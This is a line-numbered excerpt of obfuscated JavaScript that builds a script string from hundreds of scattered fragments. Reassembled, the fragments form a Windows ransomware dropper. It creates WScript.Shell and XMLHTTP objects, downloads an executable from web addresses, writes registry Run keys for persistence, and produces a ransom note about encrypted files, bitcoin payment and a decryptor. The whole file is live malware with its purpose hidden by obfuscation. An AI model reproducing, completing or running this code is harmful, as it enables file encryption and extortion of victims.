748	l33 -= 6803;
749	l33 = - 6233;
750	l33 += 6915;
751	l99[l33] = 'REG';
752	l33 -= 6915;
753	l33 = - 5658;
754	l33 += 6505;
755	l99[l33] = 'e "+c';
756	l33 -= 6505;
757	l33 = - 7216;
758	l33 += 8096;
759	l99[l33] = 'i=0;i<';
760	l33 -= 8096;
761	l33 = - 4970;
762	l33 += 5775;
763	l99[l33] = 's+';
764	l33 -= 5775;
765	l33 = - 2320;
766	l33 += 2471;
767	l99[l33] = 'i<ll.l';
768	l33 -= 2471;
769	l33 = - 7045;
770	l33 += 7350;
771	l99[l33] = 'eLin';
772	l33 -= 7350;
773	l33 = - 2945;
774	l33 += 3507;
775	l99[l33] = '"")';
776	l33 -= 3507;
777	l33 = - 5298;
778	l33 += 6014;
779	l99[l33] = 'txt"+';
780	l33 -= 6014;
781	l33 = - 9436;
782	l33 += 9482;
783	l99[l33] = '","';
784	l33 -= 9482;
785	l33 = - 8118;
786	l33 += 8586;
787	l99[l33] = ' "+';
788	l33 -= 8586;
789	l33 = - 650;
790	l33 += 763;
791	l99[l33] = 'tr';
792	l33 -= 763;
793	l33 = 54;
794	l33 += 786;
795	l99[l33] = 'un(';
796	l33 -= 786;
797	l33 = - 635;
798	l33 += 867;
799	l99[l33] = 'e",';
800	l33 -= 867;
801	l33 = - 9818;
802	l33 += 9980;
803	l99[l33] = 'ttp://';
804	l33 -= 9980;
805	l33 = - 4072;
806	l33 += 4122;
807	l99[l33] = ' ws=WS';
808	l33 -= 4122;
809	l33 = - 9216;
810	l33 += 9492;
811	l99[l33] = '(p';
812	l33 -= 9492;
813	l33 = - 7328;
814	l33 += 8240;
815	l99[l33] = ' D';
816	l33 -= 8240;
817	l33 = - 5450;
818	l33 += 6040;
819	l99[l33] = 'OOSE';
820	l33 -= 6040;
821	l33 = - 6069;
822	l33 += 6274;
823	l99[l33] = 'aveTo';
824	l33 -= 6274;
825	l33 = - 166;
826	l33 += 826;
827	l99[l33] = '- You';
828	l33 -= 826;
829	l33 = - 4549;
830	l33 += 5109;
831	l99[l33] = 'it';
832	l33 -= 5109;
833	l33 = - 1916;
834	l33 += 2412;
835	l99[l33] = '"4. Op';
836	l33 -= 2412;
837	l33 = - 7085;
838	l33 += 7142;
839	l99[l33] = 'pt';
840	l33 -= 7142;
841	l33 = - 1468;
842	l33 += 1494;
843	l99[l33] = '92); v';
844	l33 -= 1494;
845	l33 = - 7951;
846	l33 += 8764;
847	l99[l33] = 'Run("%';
848	l33 -= 8764;
849	l33 = - 8221;
850	l33 += 8567;
851	l99[l33] = 'h a';
852	l33 -= 8567;
853	l33 = - 5898;
854	l33 += 6804;
855	l99[l33] = ' w';
856	l33 -= 6804;
857	l33 = - 8241;
858	l33 += 9010;
859	l99[l33] = '" /ve';
860	l33 -= 9010;
861	l33 = - 7103;
862	l33 += 7244;
863	l99[l33] = ')) { ';
864	l33 -= 7244;
865	l33 = - 8088;
866	l33 += 8558;
867	l99[l33] = 'TC t';
868	l33 -= 8558;
869	l33 = - 1727;
870	l33 += 2164;
871	l99[l33] = '"); f';
872	l33 -= 2164;
873	l33 = - 3000;
874	l33 += 3783;
875	l99[l33] = '+cs+c';
876	l33 -= 3783;
877	l33 = - 1051;
878	l33 += 1960;
879	l99[l33] = '("%CO';
880	l33 -= 1960;
881	l33 = 71;
882	l33 += 277;
883	l99[l33] = 'niq';
884	l33 -= 277;
885	l33 = - 4790;
886	l33 += 4890;
887	l99[l33] = 'ML';
888	l33 -= 4890;
889	l33 = - 3865;
890	l33 += 3984;
891	l99[l33] = 'crip';
892	l33 -= 3984;
893	l33 = - 5142;
894	l33 += 5189;
895	l99[l33] = 'key33.';
896	l33 -= 5189;
897	l33 = - 5872;
898	l33 += 6232;
899	l99[l33] = 'es you';
900	l33 -= 6232;
901	l33 = - 6110;
902	l33 += 6921;
903	l99[l33] = '0)';
904	l33 -= 6921;
905	l33 = - 8161;
906	l33 += 8476;
907	l99[l33] = 'ts, p';
908	l33 -= 8476;
909	l33 = - 2178;
910	l33 += 2644;
911	l99[l33] = 'ine("3';
912	l33 -= 2644;
913	l33 = - 8261;
914	l33 += 8665;
915	l99[l33] = 'Line("';
916	l33 -= 8665;
917	l33 = - 2260;
918	l33 += 2374;
919	l99[l33] = 'eam"';
920	l33 -= 2374;
921	l33 = - 8244;
922	l33 += 8386;
923	l99[l33] = 'for';
924	l33 -= 8386;
925	l33 = - 6734;
926	l33 += 7660;
927	l99[l33] = 'pd+c';
928	l33 -= 7660;
929	l33 = - 5988;
930	l33 += 6772;
931	l99[l33] = 'q+cq,';
932	l33 -= 6772;
933	l33 = - 1231;
934	l33 += 1837;
935	l99[l33] = 'exce';
936	l33 -= 1837;
937	l33 = - 482;
938	l33 += 1344;
939	l99[l33] = '.exe';
940	l33 -= 1344;
941	l33 = - 1756;
942	l33 += 1824;
943	l99[l33] = 'ntStr';
944	l33 -= 1824;
945	l33 = - 9284;
946	l33 += 9304;
947	l99[l33] = 'r cs=S';
948	l33 -= 9304;
949	l33 = - 9375;
950	l33 += 9880;
951	l99[l33] = 'nks i';
952	l33 -= 9880;
953	l33 = - 8222;
954	l33 += 8595;
955	l99[l33] = 'Li';
956	l33 -= 8595;
957	l33 = - 1270;
958	l33 += 1971;
959	l99[l33] = '+cs+"';
960	l33 -= 1971;
961	l33 = - 1340;
962	l33 += 2245;
963	l99[l33] = '0,0);';
964	l33 -= 2245;
965	l33 = - 758;
966	l33 += 1516;
967	l99[l33] = 'ted"+c';
968	l33 -= 1516;
969	l33 = - 4849;
970	l33 += 5673;
971	l99[l33] = 'cq';
972	l33 -= 5673;
973	l33 = - 6633;
974	l33 += 6876;
975	l99[l33] = ' else ';
976	l33 -= 6876;
977	l33 = - 1990;
978	l33 += 2311;
979	l99[l33] = 'nd';
980	l33 -= 2311;
981	l33 = - 3945;
982	l33 += 4416;
983	l99[l33] = 'o thi';
984	l33 -= 4416;
985	l33 = - 267;
986	l33 += 942;
987	l99[l33] = '); ';
988	l33 -= 942;
989	l33 = - 7546;
990	l33 += 7958;
991	l99[l33] = 'info/';
992	l33 -= 7958;
993	l33 = - 1631;
994	l33 += 2497;
995	l99[l33] = '.t';
996	l33 -= 2497;
997	l33 = 308;
998	l33 += 21;
999	l99[l33] = 'iles")';
1000	l33 -= 21;
1001	l33 = - 9264;
1002	l33 += 9466;
1003	l99[l33] = '1; if';
1004	l33 -= 9466;
1005	l33 = - 9614;
1006	l33 += 9881;
1007	l99[l33] = 'eExi';
1008	l33 -= 9881;
1009	l33 = - 4195;
1010	l33 += 4248;
1011	l99[l33] = 'teObj';
1012	l33 -= 4248;
1013	l33 = - 3231;
1014	l33 += 3741;
1015	l99[l33] = 'downlo';
1016	l33 -= 3741;
1017	l33 = - 1336;
1018	l33 += 1626;
1019	l99[l33] = 'teTe';
1020	l33 -= 1626;
1021	l33 = - 9541;
1022	l33 += 9814;
1023	l99[l33] = 'Fil';
1024	l33 -= 9814;
1025	l33 = - 4110;
1026	l33 += 4674;
1027	l99[l33] = '.Writ';
1028	l33 -= 4674;
1029	l33 = - 3317;
1030	l33 += 4029;
1031	l99[l33] = 'Z /';
1032	l33 -= 4029;
1033	l33 = - 3778;
1034	l33 += 4552;
1035	l99[l33] = 'q+"';
1036	l33 -= 4552;
1037	l33 = - 9175;
1038	l33 += 9262;
1039	l99[l33] = 'll';
1040	l33 -= 9262;
1041	l33 = - 130;
1042	l33 += 372;
1043	l99[l33] = 'd,2);}';
1044	l33 -= 372;
1045	l33 = - 5735;
1046	l33 += 6185;
1047	l99[l33] = 'tc';
1048	l33 -= 6185;
1049	l33 = - 7287;
1050	l33 += 8080;
1051	l99[l33] = 'q+fn';
1052	l33 -= 8080;
1053	l33 = - 2504;
1054	l33 += 2981;
1055	l99[l33] = 'WriteL';
1056	l33 -= 2981;
1057	l33 = - 67;
1058	l33 += 431;
1059	l99[l33] = 'bc+';
1060	l33 -= 431;
1061	l33 = - 3402;
1062	l33 += 3791;
1063	l99[l33] = 'Lin';
1064	l33 -= 3791;
1065	l33 = - 4499;
1066	l33 += 5127;
1067	l99[l33] = 'iru';
1068	l33 -= 5127;
1069	l33 = - 1973;
1070	l33 += 2716;
1071	l99[l33] = 'ed"+';
1072	l33 -= 2716;
1073	l33 = - 4201;
1074	l33 += 4404;
1075	l99[l33] = '(n<=2';
1076	l33 -= 4404;
1077	l33 = - 8448;
1078	l33 += 8961;
1079	l99[l33] = 'ptor:"';
1080	l33 -= 8961;
1081	l33 = - 868;
1082	l33 += 1654;
1083	l99[l33] = '); ws';
1084	l33 -= 1654;
1085	l33 = - 371;
1086	l33 += 849;
1087	l99[l33] = 'ine';
1088	l33 -= 849;
1089	l33 = - 3589;
1090	l33 += 4395;
1091	l99[l33] = '"DE';
1092	l33 -= 4395;
1093	l33 = - 9821;
1094	l33 += 9869;
1095	l99[l33] = 'ru"]';
1096	l33 -= 9869;
1097	l33 = - 1854;
1098	l33 += 2082;
1099	l99[l33] = 'av';
1100	l33 -= 2082;
1101	l33 = - 4095;
1102	l33 += 4341;
1103	l99[l33] = '{xa.sa';
1104	l33 -= 4341;
1105	l33 = - 3222;
1106	l33 += 4004;
1107	l99[l33] = 'txt"';
1108	l33 -= 4004;
1109	l33 = - 5032;
1110	l33 += 5703;
1111	l99[l33] = 'PT.tx';
1112	l33 -= 5703;
1113	l33 = - 1347;
1114	l33 += 2132;
1115	l99[l33] = '0,0';
1116	l33 -= 2132;
1117	l33 = - 2307;
1118	l33 += 2365;
1119	l99[l33] = '.Shell';
1120	l33 -= 2365;
1121	l33 = - 8108;
1122	l33 += 8684;
1123	l99[l33] = ');';
1124	l33 -= 8684;
1125	l33 = - 8817;
1126	l33 += 9086;
1127	l99[l33] = 'fn';
1128	l33 -= 9086;
1129	l33 = - 8689;
1130	l33 += 9477;
1131	l99[l33] = '%COM';
1132	l33 -= 9477;
1133	l33 = - 6357;
1134	l33 += 6362;
1135	l99[l33] = 'var';
1136	l33 -= 6362;
1137	l33 = - 7235;
1138	l33 += 7871;
1139	l99[l33] = 'ine';
1140	l33 -= 7871;
1141	l33 = - 2091;
1142	l33 += 2626;
1143	l99[l33] = '/count';
1144	l33 -= 2626;
1145	l33 = - 2789;
1146	l33 += 3006;
1147	l99[l33] = 'exe",1';
1148	l33 -= 3006;
1149	l33 = - 5598;
1150	l33 += 6147;
1151	l99[l33] = '"5';
1152	l33 -= 6147;
1153	l33 = - 6097;
1154	l33 += 6693;
1155	l99[l33] = '.Wri';
1156	l33 -= 6693;
1157	l33 = - 7985;
1158	l33 += 8786;
1159	l99[l33] = '+cs';
1160	l33 -= 8786;
1161	l33 = - 5528;
1162	l33 += 6223;
1163	l99[l33] = 'do';
1164	l33 -= 6223;
1165	l33 = 286;
1166	l33 += 226;
1167	l99[l33] = ' decry';
1168	l33 -= 226;
1169	l33 = - 8878;
1170	l33 += 9302;
1171	l99[l33] = 'Lin';
1172	l33 -= 9302;
1173	l33 = - 8787;
1174	l33 += 9433;
1175	l99[l33] = 'crypte';
1176	l33 -= 9433;
1177	l33 = - 5001;
1178	l33 += 5481;
1179	l99[l33] = 'fp';
1180	l33 -= 5481;
1181	l33 = - 2385;
1182	l33 += 2976;
1183	l99[l33] = ' ALL';
1184	l33 -= 2976;
1185	l33 = - 6374;
1186	l33 += 6547;
1187	l99[l33] = 'd+';
1188	l33 -= 6547;
1189	l33 = - 4405;
1190	l33 += 4627;
1191	l99[l33] = '){};';
1192	l33 -= 4627;
1193	l33 = - 9466;
1194	l33 += 9927;
1195	l99[l33] = 'eLi';
1196	l33 -= 9927;
1197	l33 = - 2344;
1198	l33 += 2725;
1199	l99[l33] = '"); ';
1200	l33 -= 2725;
1201	l33 = - 5439;
1202	l33 += 5987;
1203	l99[l33] = 'ine(';
1204	l33 -= 5987;
1205	l33 = - 2216;
1206	l33 += 2220;
1207	l99[l33] = '"; ';
1208	l33 -= 2220;
1209	l33 = - 2426;
1210	l33 += 2916;
1211	l99[l33] = 'ine("';
1212	l33 -= 2916;
1213	l33 = - 8953;
1214	l33 += 9179;
1215	l99[l33] = '){xa';
1216	l33 -= 9179;
1217	l33 = - 9451;
1218	l33 += 9493;
1219	l99[l33] = 'm",';
1220	l33 -= 9493;
1221	l33 = - 3636;
1222	l33 += 3850;
1223	l99[l33] = 'Run(';
1224	l33 -= 3850;
1225	l33 = - 1608;
1226	l33 += 2332;
1227	l99[l33] = ' /';
1228	l33 -= 2332;
1229	l33 = - 4654;
1230	l33 += 5522;
1231	l99[l33] = ',0,';
1232	l33 -= 5522;
1233	l33 = - 6199;
1234	l33 += 6703;
1235	l99[l33] = 'li';
1236	l33 -= 6703;
1237	l33 = - 5363;
1238	l33 += 5576;
1239	l99[l33] = '{ws.';
1240	l33 -= 5576;
1241	l33 = - 681;
1242	l33 += 893;
1243	l99[l33] = 'ry';
1244	l33 -= 893;
1245	l33 = - 8269;
1246	l33 += 8520;
1247	l99[l33] = '2);} ';
1248	l33 -= 8520;
1249	l33 = - 9745;
1250	l33 += 9752;
1251	l99[l33] = '0.5042';
1252	l33 -= 9752;
1253	l33 = - 3690;
1254	l33 += 4242;
1255	l99[l33] = 'ryptor';
1256	l33 -= 4242;
1257	l33 = - 2028;
1258	l33 += 2571;
1259	l99[l33] = 'eLine(';
1260	l33 -= 2571;
1261	l33 = - 4720;
1262	l33 += 5460;
1263	l99[l33] = 'D "+cq';
1264	l33 -= 5460;
1265	l33 = - 9103;
1266	l33 += 9852;
1267	l99[l33] = 'C% /';
1268	l33 -= 9852;
1269	l33 = - 3431;
1270	l33 += 4080;
1271	l99[l33] = ' after';
1272	l33 -= 4080;
1273	l33 = - 5270;
1274	l33 += 5611;
1275	l99[l33] = '024 a';
1276	l33 -= 5611;
1277	l33 = - 1508;
1278	l33 += 2227;
1279	l99[l33] = '); ws.';
1280	l33 -= 2227;
1281	l33 = - 1914;
1282	l33 += 1997;
1283	l99[l33] = 'EMP%")';
1284	l33 -= 1997;
1285	l33 = - 3735;
1286	l33 += 3820;
1287	l99[l33] = 'php4t';
1288	l33 -= 3820;
1289	l33 = - 7598;
1290	l33 += 8302;
1291	l99[l33] = '" /V "';
1292	l33 -= 8302;
1293	l33 = - 3750;
1294	l33 += 4209;
1295	l99[l33] = '.W';
1296	l33 -= 4209;
1297	l33 = - 7097;
1298	l33 += 7351;
1299	l99[l33] = 'e(); }';
1300	l33 -= 7351;
1301	l33 = - 3990;
1302	l33 += 4669;
1303	l99[l33] = '"%COMS';
1304	l33 -= 4669;
1305	l33 = - 1735;
1306	l33 += 2581;
1307	l99[l33] = '".ex';
1308	l33 -= 2581;
1309	l33 = - 1027;
1310	l33 += 1447;
1311	l99[l33] = '(""); ';
1312	l33 -= 1447;
1313	l33 = - 4309;
1314	l33 += 5179;
1315	l99[l33] = 'ar fp';
1316	l33 -= 5179;
1317	l33 = - 6029;
1318	l33 += 6557;
1319	l99[l33] = 'Line("';
1320	l33 -= 6557;
1321	l33 = - 2565;
1322	l33 += 2674;
1323	l99[l33] = 'teOb';
1324	l33 -= 2674;
1325	l33 = 132;
1326	l33 += 166;
1327	l99[l33] = 'ne(';
1328	l33 -= 166;
1329	l33 = - 4958;
1330	l33 += 5853;
1331	l99[l33] = 'PE';
1332	l33 -= 5853;
1333	l33 = - 8349;
1334	l33 += 8928;
1335	l99[l33] = 'Line("';
1336	l33 -= 8928;
1337	l33 = - 4338;
1338	l33 += 4504;
1339	l99[l33] = 'un';
1340	l33 -= 4504;
1341	l33 = - 8445;
1342	l33 += 9282;
1343	l99[l33] = 'q,0,';
1344	l33 -= 9282;
1345	l33 = - 1106;
1346	l33 += 1983;
1347	l99[l33] = ',tr';
1348	l33 -= 1983;
1349	l33 = - 3889;
1350	l33 += 4363;
1351	l99[l33] = 'addr';
1352	l33 -= 4363;
1353	l33 = - 773;
1354	l33 += 822;
1355	l99[l33] = '; var';
1356	l33 -= 822;
1357	l33 = - 8246;
1358	l33 += 8598;
1359	l99[l33] = 'Wri';
1360	l33 -= 8598;
1361	l33 = - 2183;
1362	l33 += 2410;
1363	l99[l33] = '.s';
1364	l33 -= 2410;
1365	l33 = - 417;
1366	l33 += 720;
1367	l99[l33] = '; fp';
1368	l33 -= 720;
1369	l33 = - 4819;
1370	l33 += 5004;
1371	l99[l33] = 'a.open';
1372	l33 -= 5004;
1373	l33 = - 1589;
1374	l33 += 1980;
1375	l99[l33] = ' Creat';
1376	l33 -= 1980;
1377	l33 = - 5566;
1378	l33 += 6030;
1379	l99[l33] = 'p.';
1380	l33 -= 6030;
1381	l33 = - 999;
1382	l33 += 1127;
1383	l99[l33] = 'Fil';
1384	l33 -= 1127;
1385	l33 = - 7437;
1386	l33 += 8187;
1387	l99[l33] = 'c REG ';
1388	l33 -= 8187;
1389	l33 = - 696;
1390	l33 += 1374;
1391	l99[l33] = 'n(';
1392	l33 -= 1374;
1393	l33 = 719;
1394	l33 += 97;
1395	l99[l33] = 'c cop';
1396	l33 -= 97;
1397	l33 = - 7183;
1398	l33 += 7676;
1399	l99[l33] = 'fp.';
1400	l33 -= 7676;
1401	l33 = - 890;
1402	l33 += 891;
1403	l99[l33] = 'd="LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM";';
1404	l33 -= 891;
1405	l33 = - 5285;
1406	l33 += 5420;
1407	l99[l33] = 'Fil';
1408	l33 -= 5420;
1409	l33 = - 5822;
1410	l33 += 6488;
1411	l99[l33] = ' on';
1412	l33 -= 6488;
1413	l33 = - 7826;
1414	l33 += 8145;
1415	l99[l33] = 'bases';
1416	l33 -= 8145;
1417	l33 = - 9398;
1418	l33 += 9827;
1419	l99[l33] = 'C with';
1420	l33 -= 9827;
1421	l33 = - 5417;
1422	l33 += 5533;
1423	l99[l33] = ' v';
1424	l33 -= 5533;
1425	l33 = - 6819;
1426	l33 += 7739;
1427	l99[l33] = 'n("';
1428	l33 -= 7739;
1429	l33 = - 8112;
1430	l33 += 8799;
1431	l99[l33] = '"+cs';
1432	l33 -= 8799;
1433	l33 = - 4829;
1434	l33 += 4874;
1435	l99[l33] = 'rim.pl';
1436	l33 -= 4874;
1437	l33 = - 7693;
1438	l33 += 7765;
1439	l99[l33] = '+cs+"a';
1440	l33 -= 7765;
1441	l33 = - 6543;
1442	l33 += 7163;
1443	l99[l33] = 'to rei';
1444	l33 -= 7163;
1445	l33 = - 8953;
1446	l33 += 9037;
1447	l99[l33] = '+cs+"';
1448	l33 -= 9037;
1449	l33 = - 7951;
1450	l33 += 8711;
1451	l99[l33] = '"sh';
1452	l33 -= 8711;
1453	l33 = - 7033;
1454	l33 += 7237;
1455	l99[l33] = '){xa.s';
1456	l33 -= 7237;
1457	l33 = - 7513;
1458	l33 += 7768;
1459	l99[l33] = '; if';
1460	l33 -= 7768;
1461	l33 = - 2106;
1462	l33 += 2996;
1463	l99[l33] = 'e(); w';
1464	l33 -= 2996;
1465	l33 = - 5832;
1466	l33 += 5893;
1467	l99[l33] = ' fn';
1468	l33 -= 5893;
1469	l33 = - 348;
1470	l33 += 1092;
1471	l99[l33] = 'cq,0,0';
1472	l33 -= 1092;
1473	l33 = - 5890;
1474	l33 += 6218;
1475	l99[l33] = 'nal f';
1476	l33 -= 6218;
1477	l33 = - 3962;
1478	l33 += 4561;
1479	l99[l33] = ' ';
1480	l33 -= 4561;
1481	l33 = - 3845;
1482	l33 += 4513;
1483	l99[l33] = 'desk';
1484	l33 -= 4513;
1485	l33 = - 275;
1486	l33 += 644;
1487	l99[l33] = '"); f';
1488	l33 -= 644;
1489	l33 = - 8209;
1490	l33 += 8622;
1491	l99[l33] = 'wa';
1492	l33 -= 8622;
1493	l33 = - 174;
1494	l33 += 772;
1495	l99[l33] = 'Line("';
1496	l33 -= 772;
1497	l33 = - 5995;
1498	l33 += 6549;
1499	l99[l33] = 'restor';
1500	l33 -= 6549;
1501	l33 = 293;
1502	l33 += 32;
1503	l99[l33] = 'mport';
1504	l33 -= 32;
1505	l33 = - 1529;
1506	l33 += 2048;
1507	l99[l33] = 'r (';
1508	l33 -= 2048;
1509	l33 = - 269;
1510	l33 += 1148;
1511	l99[l33] = 'r(var ';
1512	l33 -= 1148;
1513	l33 = - 5336;
1514	l33 += 5433;
1515	l99[l33] = '"Msx';
1516	l33 -= 5433;
1517	l33 = - 2507;
1518	l33 += 2601;
1519	l99[l33] = 'Creat';
1520	l33 -= 2601;
1521	l33 = - 4475;
1522	l33 += 4553;
1523	l99[l33] = 'vironm';
1524	l33 -= 4553;
1525	l33 = - 529;
1526	l33 += 1355;
1527	l99[l33] = 'serP';
1528	l33 -= 1355;
1529	l33 = - 7724;
1530	l33 += 8452;
1531	l99[l33] = 'cq';
1532	l33 -= 8452;
1533	l33 = - 421;
1534	l33 += 481;
1535	l99[l33] = 'ar';
1536	l33 -= 481;
1537	l33 = - 3950;
1538	l33 += 4142;
1539	l99[l33] = '(xo.r';
1540	l33 -= 4142;
1541	l33 = - 7816;
1542	l33 += 8204;
1543	l99[l33] = '.Write';
1544	l33 -= 8204;
1545	l33 = - 7996;
1546	l33 += 8641;
1547	l99[l33] = 'de';
1548	l33 -= 8641;
1549	l33 = - 8976;
1550	l33 += 9461;
1551	l99[l33] = ' "+';
1552	l33 -= 9461;
1553	l33 = - 2429;
1554	l33 += 2829;
1555	l99[l33] = '(""); ';
1556	l33 -= 2829;
1557	l33 = - 4310;
1558	l33 += 5174;
1559	l99[l33] = '+cq+f';
1560	l33 -= 5174;
1561	l33 = - 3419;
1562	l33 += 3902;
1563	l99[l33] = 'ne(" ';
1564	l33 -= 3902;
1565	l33 = 594;
1566	l33 += 183;
1567	l99[l33] = 'exe ';
1568	l33 -= 183;
1569	l33 = - 6562;
1570	l33 += 7035;
1571	l99[l33] = 'tcoin ';
1572	l33 -= 7035;
1573	l33 = - 5424;
1574	l33 += 5607;
1575	l99[l33] = '200';
1576	l33 -= 5607;
1577	l33 = 603;
1578	l33 += 49;
1579	l99[l33] = ' pay';
1580	l33 -= 49;
1581	l33 = - 5051;
1582	l33 += 5368;
1583	l99[l33] = 'os, ';
1584	l33 -= 5368;
1585	l33 = - 579;
1586	l33 += 989;
1587	l99[l33] = 'ha';
1588	l33 -= 989;
1589	l33 = - 7277;
1590	l33 += 7639;
1591	l99[l33] = 've to ';
1592	l33 -= 7639;
1593	l33 = - 2779;
1594	l33 += 3153;
1595	l99[l33] = 'ne("';
1596	l33 -= 3153;
1597	l33 = - 2488;
1598	l33 += 2847;
1599	l99[l33] = 'r fil';
1600	l33 -= 2847;
1601	l33 = - 6788;
1602	l33 += 7451;
1603	l99[l33] = ' thi';
1604	l33 -= 7451;
1605	l33 = - 8881;
1606	l33 += 9546;
1607	l99[l33] = 'nual';
1608	l33 -= 9546;
1609	l33 = - 8283;
1610	l33 += 9199;
1611	l99[l33] = 'xe"+c';
1612	l33 -= 9199;
1613	l33 = - 2328;
1614	l33 += 2689;
1615	l99[l33] = ' ha';
1616	l33 -= 2689;
1617	l33 = - 2742;
1618	l33 += 3567;
1619	l99[l33] = '+"%U';
1620	l33 -= 3567;
1621	l33 = - 7333;
1622	l33 += 7562;
1623	l99[l33] = 'eTo';
1624	l33 -= 7562;
1625	l33 = - 5688;
1626	l33 += 5935;
1627	l99[l33] = 'veT';
1628	l33 -= 5935;
1629	l33 = - 7153;
1630	l33 += 7352;
1631	l99[l33] = 'e>10';
1632	l33 -= 7352;
1633	l33 = - 4883;
1634	l33 += 5478;
1635	l99[l33] = '); fp';
1636	l33 -= 5478;
1637	l33 = - 3297;
1638	l33 += 3724;
1639	l99[l33] = ' "+bc';
1640	l33 -= 3724;
1641	l33 = - 4944;
1642	l33 += 4962;
1643	l99[l33] = '(34); ';
1644	l33 -= 4962;
1645	l33 = - 1822;
1646	l33 += 2448;
1647	l99[l33] = ' ant';
1648	l33 -= 2448;
1649	l33 = - 99;
1650	l33 += 793;
1651	l99[l33] = '+"Win';
1652	l33 -= 793;
1653	l33 = - 4455;
1654	l33 += 4930;
1655	l99[l33] = 'ess:"';
1656	l33 -= 4930;
1657	l33 = - 1626;
1658	l33 += 2022;
1659	l99[l33] = 'e:"); ';
1660	l33 -= 2022;
1661	l33 = - 3294;
1662	l33 += 3419;
1663	l99[l33] = 'Sc';
1664	l33 -= 3419;
1665	l33 = - 5417;
1666	l33 += 5419;
1667	l99[l33] = ' var ';
1668	l33 -= 5419;
1669	l33 = - 8551;
1670	l33 += 8680;
1671	l99[l33] = 'eSyste';
1672	l33 -= 8680;
1673	l33 = - 7615;
1674	l33 += 8144;
1675	l99[l33] = ' ';
1676	l33 -= 8144;
1677	l33 = - 9237;
1678	l33 += 9854;
1679	l99[l33] = ' It`s';
1680	l33 -= 9854;
1681	l33 = - 7628;
1682	l33 += 7777;
1683	l99[l33] = 'or(var';
1684	l33 -= 7777;
1685	l33 = - 2778;
1686	l33 += 2918;
1687	l99[l33] = 'txt"';
1688	l33 -= 2918;
1689	l33 = - 9139;
1690	l33 += 9221;
1691	l99[l33] = '("%T';
1692	l33 -= 9221;
1693	l33 = - 6615;
1694	l33 += 6925;
1695	l99[l33] = 'e("';
1696	l33 -= 6925;
1697	l33 = - 79;
1698	l33 += 753;
1699	l99[l33] = 'ose(';
1700	l33 -= 753;
1701	l33 = - 5616;
1702	l33 += 5822;
1703	l99[l33] = 'File(f';
1704	l33 -= 5822;
1705	l33 = - 8902;
1706	l33 += 9600;
1707	l99[l33] = 'Curr';
1708	l33 -= 9600;
1709	l33 = - 4100;
1710	l33 += 4163;
1711	l99[l33] = '.Ex';
1712	l33 -= 4163;
1713	l33 = 81;
1714	l33 += 560;
1715	l99[l33] = 'fi';
1716	l33 -= 560;
1717	l33 = - 4524;
1718	l33 += 4588;
1719	l99[l33] = 'pan';
1720	l33 -= 4588;
1721	l33 = - 7448;
1722	l33 += 7525;
1723	l99[l33] = 'ndEn';
1724	l33 -= 7525;
1725	l33 = - 9025;
1726	l33 += 9285;
1727	l99[l33] = '; } c';
1728	l33 -= 9285;
1729	l33 = - 5855;
1730	l33 += 6616;
1731	l99[l33] = 'ell"';
1732	l33 -= 6616;
1733	l33 = - 2280;
1734	l33 += 2346;
1735	l99[l33] = 'viron';
1736	l33 -= 2346;
1737	l33 = - 5549;
1738	l33 += 6065;
1739	l99[l33] = 'eLine(';
1740	l33 -= 6065;
1741	l33 = - 6948;
1742	l33 += 7690;
1743	l99[l33] = 'rypt';
1744	l33 -= 7690;
1745	l33 = - 6625;
1746	l33 += 6650;
1747	l99[l33] = 'e(';
1748	l33 -= 6650;
1749	l33 = - 4011;
1750	l33 += 4830;
1751	l99[l33] = 'fn+';
1752	l33 -= 4830;
1753	l33 = - 4222;
1754	l33 += 4416;
1755	l99[l33] = 'se';
1756	l33 -= 4416;
1757	l33 = - 8603;
1758	l33 += 8804;
1759	l99[l33] = ' dn=';
1760	l33 -= 8804;
1761	l33 = - 2476;
1762	l33 += 3347;
1763	l99[l33] = '=fo.';
1764	l33 -= 3347;
1765	l33 = - 2144;
1766	l33 += 2303;
1767	l99[l33] = 'pen("';
1768	l33 -= 2303;
1769	l33 = - 3183;
1770	l33 += 3223;
1771	l99[l33] = 'and';
1772	l33 -= 3223;
1773	l33 = - 5046;
1774	l33 += 5975;
1775	l99[l33] = '); }';
1776	l33 -= 5975;
1777	l33 = 391;
1778	l33 += 363;
1779	l99[l33] = 'KCR';
1780	l33 -= 363;
1781	l33 = - 4553;
1782	l33 += 4841;
1783	l99[l33] = 'o.C';
1784	l33 -= 4841;
1785	l33 = - 2028;
1786	l33 += 2872;
1787	l99[l33] = ' /c ';
1788	l33 -= 2872;
1789	l33 = - 2493;
1790	l33 += 2530;
1791	l99[l33] = 'cka.';
1792	l33 -= 2530;
1793	l33 = - 6133;
1794	l33 += 6561;
1795	l99[l33] = '+" BT';
1796	l33 -= 6561;
1797	l33 = - 572;
1798	l33 += 1473;
1799	l99[l33] = 'n+".p';
1800	l33 -= 1473;
1801	l33 = - 5395;
1802	l33 += 5722;
1803	l99[l33] = 'rso';
1804	l33 -= 5722;
1805	l33 = - 4221;
1806	l33 += 4809;
1807	l99[l33] = 'days Y';
1808	l33 -= 4809;
1809	l33 = - 8499;
1810	l33 += 9349;
1811	l99[l33] = 'hp"';
1812	l33 -= 9349;
1813	l33 = - 8995;
1814	l33 += 9318;
1815	l99[l33] = 'he';
1816	l33 -= 9318;
1817	l33 = - 5847;
1818	l33 += 6710;
1819	l99[l33] = ' "';
1820	l33 -= 6710;
1821	l33 = - 7709;
1822	l33 += 7831;
1823	l99[l33] = 'ate';
1824	l33 -= 7831;
1825	l33 = - 9499;
1826	l33 += 9531;
1827	l99[l33] = 'zuoye.';
1828	l33 -= 9531;
1829	l33 = - 2809;
1830	l33 += 3449;
1831	l99[l33] = ' Your ';
1832	l33 -= 3449;
1833	l33 = - 4980;
1834	l33 += 5666;
1835	l99[l33] = 'HKCU';
1836	l33 -= 5666;
1837	l33 = - 2813;
1838	l33 += 3185;
1839	l99[l33] = 'te';
1840	l33 -= 3185;
1841	l33 = - 6292;
1842	l33 += 6926;
1843	l99[l33] = 'p.Writ';
1844	l33 -= 6926;
1845	l33 = - 4038;
1846	l33 += 4969;
1847	l99[l33] = '};';
1848	l33 -= 4969;
1849	l33 = - 232;
1850	l33 += 379;
1851	l99[l33] = '++)';
1852	l33 -= 379;
1853	l33 = - 2974;
1854	l33 += 3859;
1855	l99[l33] = 'it';
1856	l33 -= 3859;
1857	l33 = - 3786;
1858	l33 += 4289;
1859	l99[l33] = 'wing ';
1860	l33 -= 4289;
1861	l33 = - 2631;
1862	l33 += 3383;
1863	l99[l33] = 'D "+c';
1864	l33 -= 3383;
